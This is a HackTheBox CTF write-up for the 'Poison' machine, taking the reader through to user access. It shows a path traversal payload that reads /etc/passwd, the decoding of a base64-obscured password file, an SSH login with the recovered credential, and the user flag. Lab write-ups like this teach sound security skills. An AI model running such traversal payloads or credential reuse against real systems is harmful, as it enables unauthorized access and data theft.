HackTheBox 'Poison' - Own User Guide


Note: If you are currently trying to get access to this box, I highly recommend you try it yourself first and only use this guide if you really are stuck.

Intro

Now that the Poison box is retired on hackthebox, we can talk publicly about how to gain access to this machine. While this machine was active, I only took the time to gain user access, not all the way to root. There are multiple ways to get access on Poison, but I’m just showing the way I took which is one of the shortest routes to the user.

Machine Overview

All we know about this box initially is that it’s running FreeBSD and that most users who have completed it rate it as relatively easy to exploit.

poison-overview

Steps

As with all pentests, we must start with recon. Let’s start by port scanning the box.

nmap -sC -sV -oA hackthebox-poison 10.10.10.84

and the results show:

poison-scan

So we can see this box only has SSH and HTTP running. Let’s see what’s running on port 80.

poison-home

Here there’s a list of file names and a textbox. If we enter any of the filenames into the text box, the page seems to read the contents of the file and output it to the screen. We’re expected to input a file from the list of file names, but let’s see what happens if we try to leave the current directory.

In the browser, try to navigate to

http://10.10.10.84/browse.php?file=../../../../../../../../../etc/passwd

and we should get the output

# $FreeBSD: releng/11.1/etc/master.passwd 299365 2016-05-10 12:47:36Z bcr $
#
root:*:0:0:Charlie &:/root:/bin/csh
toor:*:0:0:Bourne-again Superuser:/root:
daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin
operator:*:2:5:System &:/:/usr/sbin/nologin
bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin
games:*:7:13:Games pseudo-user:/:/usr/sbin/nologin
news:*:8:8:News Subsystem:/:/usr/sbin/nologin
man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin
sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin
smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin
mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin
bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin
unbound:*:59:59:Unbound DNS Resolver:/var/unbound:/usr/sbin/nologin
proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin
_pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin
_dhcp:*:65:65:dhcp programs:/var/empty:/usr/sbin/nologin
uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico
pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologin
auditdistd:*:78:77:Auditdistd unprivileged user:/var/empty:/usr/sbin/nologin
www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin
_ypldap:*:160:160:YP LDAP unprivileged user:/var/empty:/usr/sbin/nologin
hast:*:845:845:HAST unprivileged user:/var/empty:/usr/sbin/nologin
nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin
_tss:*:601:601:TrouSerS user:/var/empty:/usr/sbin/nologin
messagebus:*:556:556:D-BUS Daemon User:/nonexistent:/usr/sbin/nologin
avahi:*:558:558:Avahi Daemon User:/nonexistent:/usr/sbin/nologin
cups:*:193:193:Cups Owner:/nonexistent:/usr/sbin/nologin
charix:*:1001:1001:charix:/home/charix:/bin/csh

Nice! The page is vulnerable to a Path Traversal attack. In the output we can see that there are 2 users that have shell access on the box: charix and root.

This is good information, but not enough to get access into the box. Let’s circle back to the files listed on the home page

ini.php
info.php
listfiles.php
phpinfo.php

Entering listfiles.php into the box on the home page lists the files we already know about, but also an unknown file with an interesting name - pwdbackup.txt.

Well let’s check that one out!

http://10.10.10.84/browse.php?file=pwdbackup.txt
This password is secure, it's encoded atleast 13 times.. what could go wrong really..

Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVU
bGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBS
bVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVW
M040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRs
WmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYy
eG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01G
WkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYw
MXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVa
T1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5k
WFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZk
WGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0
NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZT
Vm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZz
WkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBW
VmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpO
Ukd4RVdub3dPVU5uUFQwSwo=

We can tell it’s probably Base64 encoded based on the fact that it ends with an equal sign. Since the hint tells us it’s encoded 13x, just run it through a Base64 decoder 13x. After all that we get:

Charix!2#4%6&8(0

Sure looks like a password to me! Verify this by SSH’ing into the box with this password:

ssh charix@10.10.10.84

and of course grab the flag to claim

$ cat ~/user.txt
eaacdfb2d141b72a589233063604209c

Root escalation will be left as an excercise to the reader (because I didn’t have time to do it before the box was retired).